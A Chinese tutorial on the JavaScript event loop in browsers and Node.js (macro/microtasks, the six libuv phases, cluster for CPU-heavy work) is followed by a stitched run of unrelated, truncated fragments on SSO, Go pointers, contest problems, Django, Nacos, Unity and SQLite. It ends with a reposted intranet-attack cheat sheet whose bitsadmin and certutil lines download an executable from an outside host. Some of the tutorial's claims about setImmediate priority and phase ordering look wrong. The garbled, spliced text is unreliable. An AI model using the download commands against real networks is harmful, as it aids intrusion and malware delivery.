本篇将对以下问题进行讨论:
有关事件循环前文已经略作介绍,这里进一步补充。
请在浏览器中运行这段代码:
console.log('1');
setTimeout(() => {
console.log('2');
Promise.resolve().then(() => console.log('3'));
Promise.resolve().then(() => console.log('4'));
}, 100);
setTimeout(() => {
console.log('5');
Promise.resolve().then(() => console.log('6'));
}, 150);
Promise.resolve().then(() => console.log('7'));
setTimeout(() => console.log('8'), 200);
console.log('9');
/*
结果:
1
9
7
2
3
4
5
6
8
*/
分析这段代码的事件循环的详细过程之前,有几点需要说一下:
一个宏任务
和所有的微任务
,而且宏任务和微任务的处理顺序是固定的:每次执行完一个宏任务后,首先会立即处理所有的微任务,然后才会执行下一个宏任务。如果在执行微任务时又产生了新的微任务,那么这些新的微任务也会被添加到队列中,直到全部微任务都执行完成,才会执行宏任务。轮询
方式来实现事件循环机制。在执行完当前的任务之后,如果宏任务队列为空,主线程会等待一段时间,这个时间间隔是由浏览器厂商自行决定的,然后再次查询宏任务队列是否有任务需要执行。setTimeout(() => console.log('8'), 200)
,浏览器会创建一个定时器(200ms),并将回调函数和指定的时间保存在一个任务中。当指定的时间到达时,定时器才会将这个任务推入宏任务队列中等待处理这段代码大概有四次
事件循环,执行过程如下:
首先将 console.log('1') 加入执行栈中,输出 1,然后将其从执行栈中弹出。
第一个 setTimeout 函数被调用时,浏览器会创建一个定时器(100ms),并将回调函数和指定的时间保存在一个任务中。当指定的时间到达时,定时器会将这个任务推入宏任务队列中等待处理
第二个 setTimeout 与第一 setTimeout 类似,等待 150ms 后会被放入宏任务队列中
Promise.resolve().then(() => console.log('7')) 放入微任务队列
第三个 setTimeout 与第一 setTimeout 类似,等待 200ms 后会被放入宏任务队列中
执行 console.log('9')
取出微任务队列中的所有任务,输出 7
执行栈为空,主线程轮询查看宏任务队列(微任务队列刚才已经清空了),此时宏任务队列为空
100ms后,第一个setTimeout 宏任务推入宏任务队列中,取出这个宏任务放入执行栈中
输出 2
执行 `Promise.resolve().then(() => console.log('3'));`、`Promise.resolve().then(() => console.log('4'));`,放入微任务队列
这个宏任务执行完毕之后,主线程会转而执行当前微任务队列中的所有任务,输出 3 和 4
执行栈为空,主线程轮询宏任务队列发现其为空
150ms后,第二个setTimeout 宏任务推入宏任务队列中,取出这个宏任务放入执行栈中
输出 5
执行 `Promise.resolve().then(() => console.log('6'));` 放入微任务队列
这个宏任务执行完毕之后,主线程会转而执行当前微任务队列中的所有任务,输出 6
执行栈为空,主线程轮询宏任务队列发现其为空
200ms后,第三个setTimeout 宏任务推入宏任务队列中,取出这个宏任务放入执行栈中
输出 8
宏任务之间其实存在优先级
。比如 click > requestAnimationFrame > setTimeout
。
紧急
,从而使它们具有比其他任务更高的优先级。这确保了与用户直接交互相关的操作具有更快的响应时间。至少
在指定的时间后才开始执行请看示例:
function log(message) {
const now = new Date();
console.log(`[${now.getSeconds()}:${now.getMilliseconds()}] ${message}`);
}
setTimeout(() => {
log('setTimeout callback');
}, 0);
requestAnimationFrame(() => {
log('requestAnimationFrame callback');
});
document.addEventListener('click', () => {
log('click event');
});
// 手动触发 click 事件
const event = new Event('click');
document.dispatchEvent(event);
/*
[46:280] click event
[46:299] setTimeout callback
[5:646] requestAnimationFrame callback
*/
无论测试多少次,click 总是最先输出。但是 requestAnimationFrame 就不一定先 setTimeout 输出,因为 requestAnimationFrame 有自己的节奏,只要不影响平滑的动画效果,即使在 setTimeout 后面也可能。
Node.js 核心的特性是事件驱动
(Event-driven)和非阻塞 I/O
(Non-blocking I/O):
事件驱动
- nodejs 中的异步操作基于事件,也就是说,当某个操作完成时,Node.js 会发出一个事件来通知你,然后你就可以通过注册事件的方式来执行回调函数。非阻塞 I/O
- nodejs 执行一个 I/O 操作时,它不会像传统的同步阻塞 I/O 一样等待操作完成,而是会在操作的同时继续处理其他请求。这种方式可以避免 I/O 导致的阻塞,提高系统的吞吐量和响应能力。Tip:两个特性有关系,但不是一个概念。比如可以说:基于事件驱动的非阻塞 I/O
Node.js 中的事件驱动和非阻塞 I/O 是基于事件循环实现的。
在 node 中,事件循环是一个持续不断的循环过程,不断地从事件队列
中取出事件并处理,直到事件队列为空。具体来说,当 Node.js 遇到一个需要异步处理的 I/O 操作时,它不会等待操作完成后再执行下一步操作,而是将该操作放到事件队列中,并继续执行下一步。当操作完成后,Node.js 会将相应的回调函数也放到事件队列中,等待事件循环来处理。这样一来,Node.js 就可以同时处理多个请求,而且不会因为某一个操作的阻塞而影响整个应用程序的性能。
除了 I/O 操作之外,事件循环还可以用于处理定时器
、HTTP 请求
、数据库访问
等各种类型的事件
Tip: 事件队列不仅包含宏任务队列
和微任务队列
,还有维护着几个其他的队列,这些队列通过事件循环机制来实现异步非阻塞。其他队列有:
在 Node.js 中,高并发
指的是系统能够处理高并发请求的能力。不会因为一个请求的处理而阻塞其他请求的执行,系统能够同时处理众多请求。高性能
通常指的是它在处理大量并发请求时表现出的优异性能。
事件循环是 Node.js 实现高并发和高性能的核心机制
之一。通过将计算密集型任务和 I/O 任务分离并采用异步执行,Node.js 能够充分利用 CPU 和内存资源,从而实现高性能和高并发。
没有事件循环
,Node.js 就无法实现异步 I/O 和非阻塞式编程模型。在传统的阻塞式 I/O 模型中,一个 I/O 操作会一直等待数据返回,导致应用程序被阻塞,无法进行其他操作。而通过事件循环机制,Node.js 实现了异步 I/O,当一个 I/O 操作被触发后,Node.js 将其放入事件循环队列中,然后立即执行下一个任务,不必等待当前的 I/O 操作结束。当 I/O 操作完成时,Node.js 会将相应的回调函数添加到事件队列中等待执行。
相同点:单个主线程、单个执行栈、有宏任务队列和微任务队列
不同点:
实现
不同。Node.js 是一款服务端运行时,而浏览器则用于页面和交互等,场景不同,所以实现方式不同。Node.js 中的事件循环机制是通过 libuv 库来实现,因为它具有跨平台性、高效性、多功能性(除了事件循环机制外,libuv 还提供了很多其他的系统功能和服务,能够满足 Node.js 在服务器端编程上的需要)等。一次事件循环
不同。浏览器中的一次事件循环包括一个宏任务和相关所有微任务。在 node 中,一次事件循环包含6个阶段(下文会详细介绍)虽然两者有不同,但它们有相同的设计目标
:高效而可靠的方式处理异步任务
(或者说:解决 JavaScript 异步编程问题)。
一次事件循环包含以下 6 个阶段:
+--------------------------+
| |
| timers | 计时器阶段:处理 setTimeout() 和 setInterval() 定时器的回调函数。
| |
+--------------------------+
| |
| pending callbacks | 待定回调阶段:用于处理系统级别的错误信息,例如 TCP 错误或者 DNS 解析异常。
| |
+--------------------------+
| |
| idle, prepare | 仅在内部使用,可以忽略不计。
| |
+--------------------------+
| |
| poll | 轮询阶段:等待 I/O 事件(如网络请求或文件 I/O 等)的发生,然后执行对应的回调函数,并且会处理定时器相关的回调函数。
| | 如果没有任何 I/O 事件发生,此阶段可能会使事件循环阻塞。
+--------------------------+
| |
| check | 检查阶段:处理 setImmediate() 的回调函数。check 的回调优先级比 setTimeout 高,比微任务要低
| |
+--------------------------+
| |
| close callbacks | 关闭回调阶段:处理一些关闭的回调函数,比如 socket.on('close')。
| |
+--------------------------+
这 6 个阶段执行顺序:
timers
阶段,执行所有超时时间到达的定时器相关的回调函数。pending callbacks
阶段。在这个阶段, Node.js 会执行一些系统级别的回调函数,这些回调函数一般都是由 Node.js 的内部模块触发的,而不是由 JavaScript 代码直接触发的。poll
阶段,等待 I/O 事件的发生,处理相关的回调函数。如果在此阶段确定没有任何 I/O 事件需要处理,那么事件循环会等待一定的时间,以防止 CPU 空转,这个时间会由系统自动设置或者手动在代码中指定。如果有定时器在此阶段需要处理,那么事件循环会回到 timers 阶段继续执行相应的回调函数。check
阶段,处理 setImmediate() 注册的回调函数。setImmediate() 的优先级比 timers 阶段要高。当事件循环进入 check 阶段时,如果发现事件队列中存在 setImmediate() 的回调函数,则会立即执行该回调函数而不是继续等待 timers 阶段的到来。close callbacks
阶段,处理一些关闭的回调函数。事件循环的每个阶段都有对应的宏任务队列
和微任务队列
。当一个阶段中的所有宏任务都执行完之后,事件循环会进入下一个阶段。在该阶段结束时,如果存在微任务,事件循环将会在开始下一个阶段之前执行所有的微任务。这样一来,无论在何时添加微任务,都能确保先执行所有的微任务,避免了某些任务的并发问题。如果我们在某个阶段中添加了多个微任务,那么它们会在该阶段结束时依次执行,直到所有微任务都被处理完成,才会进入下一个阶段的宏任务队列。
一次事件循环周期
以清空6个阶段的宏任务队列和微任务队列来结束。
一次事件循环周期内,每个阶段是否可以执行多次
。例如此时在 poll 阶段,这时 timers 阶段任务队列中有了回调函数,由于 timers 的优先级高于 poll,所以又回到 timers 阶段,执行完该阶段的宏任务和微任务后,在回到 poll 阶段。
总之,这 6 个阶段构成了 Node.js 的事件循环机制,确保了所有被注册的回调函数都能得到及时、准确的执行
Tip:当调用 setTimeout 方法时,如果超时时间还没到,则生成的定时器宏任务也不会立刻
放入宏任务队列中,而是会被放入计时器队列中。计时器队列和延迟队列类似,都是由定时器宏任务组成的小根堆结构,每个定时器宏任务也对应着其到期时间以及对应的回调函数。当超时时间到达后,Node.js 会将该定时器宏任务从计时器队列中取出并放入宏任务队列中,等待事件循环去执行。
尽管事件循环的机制比较明确,但由于各种因素的影响,具体的执行顺序仍然难以精确预测
。其顺序取决于当前事件队列中各个回调函数的执行情况、耗时以及系统各种资源的利用情况等多种因素。每次事件循环的顺序都不一定相同:
Tip: setTimeout 在node 中最小是 1ms
,在浏览器中是4ms
。
console.log("start");
setTimeout(() => {
console.log("first timeout callback");
}, 1);
setImmediate(() => {
console.log("immediate callback");
});
process.nextTick(() => {
console.log("next tick callback");
});
console.log("end");
运行10次node 输出如下:
start
end
next tick callback
first timeout callback
immediate callback
执行分析:
start
、end
next tick callback
现在的难点是 setImmediate 和 setTimeout 的回调哪个先执行!
注:在某些特殊情况下,timers 阶段和 check 阶段的任务可能会交错执行。这通常发生在以下两种情况下:
根据结果,我们推测
:setImmediate 和 setTimeout 都进入了下一个循环周期,先执行 timers 阶段,在执行 check 阶段的回调。
Tip: 尽管 setImmediate 被称为 "immediate",但它并不保证会立刻执行。在 Node.js 的事件循环中,setImmediate() 的回调函数会被加入到 check 阶段的任务队列中,等到轮到 check 阶段时才会执行。
Node.js 不适合CPU 密集型场景
。比如大量数学计算,可能会阻塞 Node.js 主线程。
比如一个 1 到 10亿求和
的请求:
const http = require('http');
http.createServer((req, res) => {
console.log('start');
let sum = 0;
for (let i = 1; i <= 1000000000; i++) {
sum += i;
}
console.log('end');
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end(sum.toString());
}).listen(3000);
console.log('server running at http://localhost:3000/');
通过curl 检测访问 http://localhost:3000/
的时间,分别是 1.754s
、1.072s
、2.821s
Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 18 0 18 0 0 15 0 --:--:-- 0:00:01 --:--:-- 15500000000067109000
real 0m1.754s
user 0m0.000s
sys 0m0.078s
Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 18 0 18 0 0 20 0 --:--:-- --:--:-- --:--:-- 21500000000067109000
real 0m1.072s
user 0m0.015s
sys 0m0.093s
Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 18 0 18 0 0 6 0 --:--:-- 0:00:02 --:--:-- 6500000000067109000
real 0m2.821s
user 0m0.031s
sys 0m0.077s
接着用node 内置的 cluster
模块将计算工作分配到4个子进程中,访问速度大幅度提升。
const http = require('http');
const cluster = require('cluster');
if (cluster.isMaster) {
// 计算工作分配到4个子进程中
const numCPUs = require('os').cpus().length;
const range = 1000000000;
const rangePerCore = Math.ceil(range / numCPUs);
let endIndex = 0;
let sum = 0;
for (let i = 0; i < numCPUs; i++) {
const worker = cluster.fork();
worker.on('message', function({ endIndex, result }) {
sum += result;
if (endIndex === range) {
console.log(sum);
// 启动 Web 服务器,在主进程中处理请求
http.createServer((req, res) => {
res.statusCode = 200;
res.setHeader('Content-Type', 'text/plain');
res.end(`The sum is ${sum}\n`);
}).listen(3000, () => {
console.log(`Server running at http://localhost:3000/`);
});
}
});
worker.send({ startIndex: endIndex + 1, endIndex: endIndex + rangePerCore });
endIndex += rangePerCore;
}
} else {
process.on('message', function({ startIndex, endIndex }) {
let sum = 0;
for (let i = startIndex; i <= endIndex; i++) {
sum += i;
}
process.send({ endIndex, result: sum });
});
}
访问时长分别是:0.230s
、0.216s
、0.205s
:
Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 30 100 30 0 0 2354 0 --:--:-- --:--:-- --:--:-- 4285The sum is 500000000098792260
real 0m0.230s
user 0m0.000s
sys 0m0.109s
Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 30 100 30 0 0 2212 0 --:--:-- --:--:-- --:--:-- 3750The sum is 500000000098792260
real 0m0.216s
user 0m0.000s
sys 0m0.078s
Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 30 100 30 0 0 2545 0 --:--:-- --:--:-- --:--:-- 6000The sum is 500000000098792260
real 0m0.205s
user 0m0.000s
sys 0m0.078s
假如一个请求得花费2秒(1 到 10亿之和
),使用 pm2 也不能减小请求时间。
pm2能做的是:比如一个 node 应用单核(1个cpu内核)可以支持一千个并发请求,现在并发四千个请求,由于超出能力,请求响应会变慢。现在通过 Pm2 在四核服务器中启动4个node应用,之前还存在负载均衡,这样就可以支持四千个并发请求。
Tip:pm2的介绍请看这里
Node.js 是单线程的,这意味着所有事件循环(Event Loop)和 I/O 操作都在一个主线程
中运行。所以说,Node.js 中只存在一个事件循环和一个执行上下文栈。
不过,Node.js 的实现并不简单粗暴。它通过使用非阻塞 I/O、异步编程以及事件驱动机制,让单线程可以支持高并发处理大量的 I/O 操作。Node.js 底层采用的是 libuv 库来实现异步 I/O 模型,该库在底层会使用 libev 和 libeio 等多种事件驱动框架来实现对底层 I/O 系统调用的封装,从而让单线程可以同时处理多个 I/O 任务,避免了线程切换的开销,提高了应用程序的性能。
此外,在 Node.js 版本 10.5.0 之后,Node.js 引入了 worker_threads 模块,支持通过创建子线程的方式来实现多线程。worker_threads 模块提供了一套 API,使得开发者可以方便地创建和管理多个子线程,并利用多线程来加速处理计算密集型任务等场景。
总之,Node.js 是单线程的,但同时也通过采用异步 I/O 模型、事件驱动机制和多线程等技术手段,来支持高并发、高性能的应用程序开发。
环境需求:redis3.8.2+maven+springBoot+jdk1.8+freemarker模板1、需求背景周末在家,上家同事突然联系,让我给他网站做单点登入功能,于是自己先梳理逻辑,实现功能并且记录下来。单点登入(Singlesignon)顾名思义,就是在一个网站登入之后,其他网站就不需要用户继续输入账号密码,而能免密登入,这种技术在大型网站都使用的非常频繁,比如阿里巴巴,当用户登入他们系统后,每个子系统都能自动登入,如果大家在登入某宝之后,登入某碑,也需要密码,登入淘宝也需要重新输入密码,这肯定会造成用户体验极差,而且系统的认证逻辑也会很麻烦,这时候单点登入就出现了。2、代码实例本文演示两个系统 @Slf4j @RestController @RequestMapping("/redis/single") publicclassRedisSingleController{ privatestaticfinalStringNAME="name"; privatestaticfinalStringPASSWORD="passw
1、概述2、声明3、空指针4、用指针修改值5、指针的指针1、概述每个变量在内存中都有对应的存储位置,也就是内存地址指针类型是指变量存储的是一个内存地址的变量类型,在golang中可以通过&运算符获取变量的指针取变量指针的语法ptr:=&v//v的类型为T //v:代表被取地址的变量,类型为T //ptr:用于接收地址的变量,ptr的类型就为*T,称做T的指针类型。*代表指针复制2、声明指针声明需要指定存储地址中对应数据的类型,并使用*作为类型前缀进行指针取值funcmain(){ //指针取值 a:=10 b:=&a//取变量a的地址,将指针保存到b中 fmt.Printf("typeofb:%T\n",b) c:=*b//指针取值(根据指针去内存取值) fmt.Printf("typeofc:%T\n",c) fmt.Printf("valueofc:%v\n",c) } /* typeofb:*int typeofc:int valueofc:10 /*复制用法归纳对变量进行取地址(&)操作
来源|腾讯SaaS加速器二期项目-百应近日,由中国科学技术协会、中国科学院、中国工程院、浙江省人民政府指导,中国人工智能学会、杭州市人民政府主办的「2021全球人工智能技术大会暨全球人工智能技术博览会」在杭州召开。国务院参事、CAAI理事长戴琼海院士,浙江大学校长吴朝晖院士,中国工程院赵春江院士,省政协副主席周国辉,市长刘忻等嘉宾出席本次活动。作为新一代人工智能应用的创新实践者,百应(腾讯SaaS加速器二期成员)AI数字员工受邀参与此次博览会,与阿里、百度、科大讯飞等人工智能Top企业同台“角逐”,以国际化、前瞻化、产业化视角,解析并展示新一代人工智能发展路径。“AI盛会“携手“数智之城”。事实上,这也是继2月获批建设国家人工智能创新应用先导区之后,杭州举办的第一场全球性的人工智能品牌盛会。近年来,杭州认真贯彻落实省委省政府战略部署,始终将人工智能产业作为重要发展方向,围绕数字经济系统建设,先后出台了人工智能发展行动计划等一系列政策规划,并在政务服务、反欺诈等领域全面推进人工智能技术的落地应用。作为技术驱动创新的行业新生力量,百应科技在语音合成、语音识别、自然语言处理等多项人工智能核心
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题意给定一个整数序列,找到最长上升子序列(LIS),返回LIS的长度。最长上升子序列问题是在一个无序的给定序列中找到一个尽可能长的由低到高排列的子序列,这种子序列不一定是连续的或者唯一的。样例给出[5,4,1,2,3],LIS是[1,2,3],返回3 给出[4,2,4,5,3,7],LIS是[2,4,5,7],返回4思路如1,3,5,2,8,4,6,对于6来说,它的LIS是它的前一个数,也就是4小于它(4<6)的情况下,将4的(LIS+1)就是6个LIS,以此类推。代码实现publicclassSolution{ /** *@paramnums:Theintegerarray *@return:ThelengthofLIS(longestincreasingsubsequence) */ publicintlongestIncreasingSubsequence(int[]nums){ if(nums==null||nums.length==0){ return0; } int[]lis=newint[nums.length]; intmax=0; for(inti=0;i&l
ThisisaWindows10IoTCoreprojectontheRaspberryPi2/3,codedbyC#.GitHub:https://github.com/ZhangGaoxing/windows-iot-demo/tree/master/IRTMImageYS-IRTM.jpgReferencehttps://github.com/ZhangGaoxing/windows-iot-demo/tree/master/IRTM/ReferenceConnectRXD-UART0TX(PIN8)TXD-UART0RX(PIN10)VCC-5VGND-GNDNoteThereisoneSerialUARTavailableontheRPi2/3:UART0Pin8-UART0TXPin10-UART0RXYouneedaddthefollowingcapabilitytothePackage.appxmanifestfiletouseSerialUART.<Capabilities> <DeviceCapabilityName="serialcom
2851菜菜买气球时间限制:1s空间限制:128000KB题目等级:黄金Gold题目描述Description六一儿童节到了,菜菜爸爸带着菜菜来到了游乐园,菜菜可高兴坏了。这不,菜菜看到了一排卖气球的,便吵着闹着要买气球。不过这些卖气球的也奇怪,他们都站成了一排,而且每个人每次都只卖一定数量的气球,多了不卖,少了也不卖。菜菜爸爸已经打听好了这N个人每次卖的气球数量,忽然想考考菜菜:只能从连续的若干个人那里买气球,并且气球总数必须是质数,求最大的可行的气球总数。这个问题可难住了菜菜,他找到了你,请你帮忙计算该从哪个人买到哪个人,气球总数是多少。输入描述InputDescription第一行,一个正整数N。第二行,N个正整数,第i个数表示第i个人每次卖的气球数ni。输出描述OutputDescription一行,三个正整数l,r,s,分别表示买第l个人到第r个人的气球,总数为s,要求s尽可能大。在有若干个最优解的情况下,输出l最小的一组。数据保证有解。样例输入SampleInput31 3 4样例输出SampleOutput2 3 7数据范围及提示DataSize&Hint对于10
目录1.短信注册接口2.短信发送接口,如何防止被被人解析出地址后恶意使用3.登录前台4.redis介绍5.redis安装6.python操作redis6.1直接链接6.2使用连接池链接 1.短信注册接口 views.py classUserView(ViewSet): @action(methods=['POST'],detail=False) defregister(self,request): ser=UserRegisterSerializer(data=request.data) ser.is_valid(raise_exception=True) ser.save() returnAPIResponse(msg='注册成功') #后期要写注册并且登录的接口 复制 serializer.py classUserRegisterSerializer(serializers.ModelSerializer):#只用来做数据校验和反序列化 code=serializers.CharField(max_length=4,min_length=4) classMeta: model
夜已经很深了,但却毫无睡意,最近找工作和面试感触良多,所以想记录下来这段过程。 作为一个.Net程序员,不可否认是比JAVA要难混的。甚至在智联招聘或者大街网都没有.NET程序员的备用选项。真是令人悲伤。但既然已经选择了这门技术作为饭碗,那不如就做精做专了它,其实依然是可以达到很高的境界的。而且真正做到大师也一定不能被语言所局限,语言只是工具,而其中的编程思想才是真正的核心。真正的懂了,境界也就完全不同了。 但在作为菜鸟的阶段或者还没有达到一万小时的时间段,在找工作的时候不可避免需要一些准备。其实这些并不能叫做准备,而且在工作中也是最常用到的一些技能。其实这些所谓的准备也是对自己知识的考察,在平常垒代码的时候很多时候不会了就是google一下,stackoverflow问一下找到答案后甚至并没有理解透彻便用于项目之中,或者说你的知识累计只是需要用到了才开始钻研,并没有一个系统的总结和理解。这其实也是一个很好的系统自己知识的机会。 -------------------------------------------------------------------------
这篇简单了解下Nacos,并说明下它的部署、配置和基本使用。 Nacos官网对其说明如下: Nacosiscommittedtohelpyoudiscover,configure,andmanageyourmicroservices.Itprovidesasetofsimpleandusefulfeaturesenablingyoutorealizedynamicservicediscovery,serviceconfiguration,servicemetadataandtrafficmanagement. Nacos致力于帮助您发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。 Nacosmakesiteasierandfastertoconstruct,deliverandmanageyourmicroservicesplatform.Itistheinfrastructurethatsupportsaservice-centeredmodernapplicationarchitecturewithamic
Array concat() 复制一个全新的数据 修改复制的数据不会造成原始数据变化 consta=[1,2,3]; constb=a.concat(); console.log(b); //[1,2,3] 复制 from() 将类数组对象转化为真实的数组 letarrayLike={ '0':'a', '1':'b', '2':'c', length:3 }; constarr=Array.from(arrayLike); console.log(arr); //['a','b','c'] 复制 //DOM对象也是一个类数组对象 constps=document.querySelectorAll('p'); constnodeList=Array.from(ps); 复制 Set() 数组去重,但是不能对数组对象进行去重 constarr=[1,2,3,1]; constnewArr=newSet(arr); console.log(newArr); //[1,2,3] //无法对以下数组进行去重 constarr=[{id:1,name:'a'},{i
在这里只简单介绍一下数据持久化的路径及方法。 很简单创建并写入文本: //创建//StreamWriterst=File.CreateText(Application.persistentDataPath+“Test.txt”);//手机StreamWriterst=File.CreateText(“Assets/Text.txt”);//pc方法File.CreateText(路径及即将创建的文件名称); //写入st.Write(“写入了”);st.Close();//写入后记得close publicvoidSaveTxt(stringtxt) { stringresult1=Application.streamingAssetsPath+"/海报信息.txt"; print(result1); StreamWriterst=File.CreateText(result1); st.Write(txt); st.Close(); } 复制 读取 //读取文本//ShowText.text=File.ReadAllText(Application.persistentData
一、查询参数化 总体而言,绑定函数可分为两类,一类用于标量值(int、double、int64、NULL),另一类用于数组(blob、text和text16)。其中,数组绑定函数需要一个长度参数和指向清理函数的指针。 sqlite3_bind_text()自动转义引号字符。 使用BLOB类型时,绑定函数声明如下: 1/* 2**BindablobvaluetoanSQLstatementvariable. 3*/ 4intsqlite3_bind_blob( 5sqlite3_stmt*pStmt,/*语句句柄*/ 6inti,/*次序*/ 7constvoid*zData,/*指向blob数据*/ 8intnData,/*数据的字节长度*/ 9void(*xDel)(void*)/*清理处理程序*/ 10)复制 对于xDel参数,有两个特殊含义的预定义值。 1typedefvoid(*sqlite3_destructor_type)(void*); 2#defineSQLITE_STATIC((sqlite3_destructor_type)0)
[JXOI2017]颜色 题目链接 https://www.luogu.org/problemnew/show/P4065 题目描述 可怜有一个长度为n的正整数序列Ai,其中相同的正整数代表着相同的颜色。 现在可怜觉得这个序列太长了,于是她决定选择一些颜色把这些颜色的所有位置都删去。 删除颜色i可以定义为把所有满足Aj=i的位置j都从序列中删去。 然而有些时候删去之后,整个序列变成了好几段,可怜不喜欢这样,于是她想要知道有多少种删去颜色的方案使得最后剩下来的序列非空且连续。 例如颜色序列{1,2,3,4,5},删除颜色3后序列变成了{1,2}和{4,5}两段,不满足条件。而删除颜色1后序列变成了{2,3,4,5},满足条件。 两个方案不同当且仅当至少存在一个颜色i只在其中一个方案中被删去。 输入输出格式 输入格式: 第一行输入一个整数T表示数据组数。每组数据第一行输入一个整数n表示数列长度。第二行输入n个整数描述颜色序列。 输出格式: 对于每组数据输出一个整数表示答案。 输入输出样例 输入样例#1: 复制 1 5 13243复制 输出样例#1:复制 6复制 说明 满足条件
转载自:乌云安全 原文链接:内网攻防经典技术备忘录 0x01信息搜集 #nmap扫描实时存活的ip nmap10.1.1.1--open-oGscan-results;catscan-results|grep"/open"|cut-d""-f2>exposed-services-ips 复制 1.1常用命令 arp-a routeprint获取arp表 curlvps:8080http连通性 nslookupwww.baidu.comvps-ip dig@vps-ipwww.baidu.com测试dns连通性 nslookuphacked.com判断域控与DNS是否为同一主机 tracert路由跟踪实用程序,用于确定IP数据包访问目标所采取的路径 bitsadmin/transfernhttp://192.168.3.1/test.exeC:\windows\temp\test.exe certutil.exe-urlcache-split-fhttp://192.168.3.1/test.exefile.exe fuser-nvtcp80查看端口进程的pid netstat